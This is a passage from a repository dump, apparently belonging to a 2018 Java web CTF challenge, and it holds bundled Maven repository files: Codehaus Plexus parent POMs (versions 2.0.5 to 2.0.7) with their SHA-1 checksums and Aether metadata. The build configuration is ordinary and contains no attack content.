<artifactId>maven-clean-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.5.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-9</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>false</useReleaseProfile>\n            <arguments>-Pplexus-release</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.2</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <links>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>plexus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <version>2.1</version>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n\n    </profile>\n\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.5/plexus-2.0.5.pom.sha1",
    "content": "c37b8e9129d8860dfdea27da2c5407de7c6faba7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:37 CST 2018\nplexus-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.6/plexus-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <version>2.0.6</version>\n\n  <name>Plexus</name>\n  <description>The Plexus project provides a full software stack for creating and executing software projects.</description>\n  <url>http://plexus.codehaus.org/</url>\n  <inceptionYear>2001</inceptionYear>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Vincent Siveton</name>\n      <id>vsiveton</id>\n      <email>vsiveton@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.6</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.6</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.6</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>http://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>http://oss.repository.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.5.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>false</useReleaseProfile>\n            <arguments>-Pplexus-release</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.2</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/tags/maven-checkstyle-plugin-2.2/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.codehaus.org/plexus/pom/trunk/src/main/resources/config/plexus-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <links>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>plexus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <version>2.1</version>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n\n    </profile>\n\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.6/plexus-2.0.6.pom.sha1",
    "content": "da193f47e5ce5a2cb85931851b3698e61cde8227"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:57 CST 2018\nplexus-2.0.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <version>2.0.7</version>\n\n  <name>Plexus</name>\n  <description>The Plexus project provides a full software stack for creating and executing software projects.</description>\n  <url>http://plexus.codehaus.org/</url>\n  <inceptionYear>2001</inceptionYear>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Vincent Siveton</name>\n      <id>vsiveton</id>\n      <email>vsiveton@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.7</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.7</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.7</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      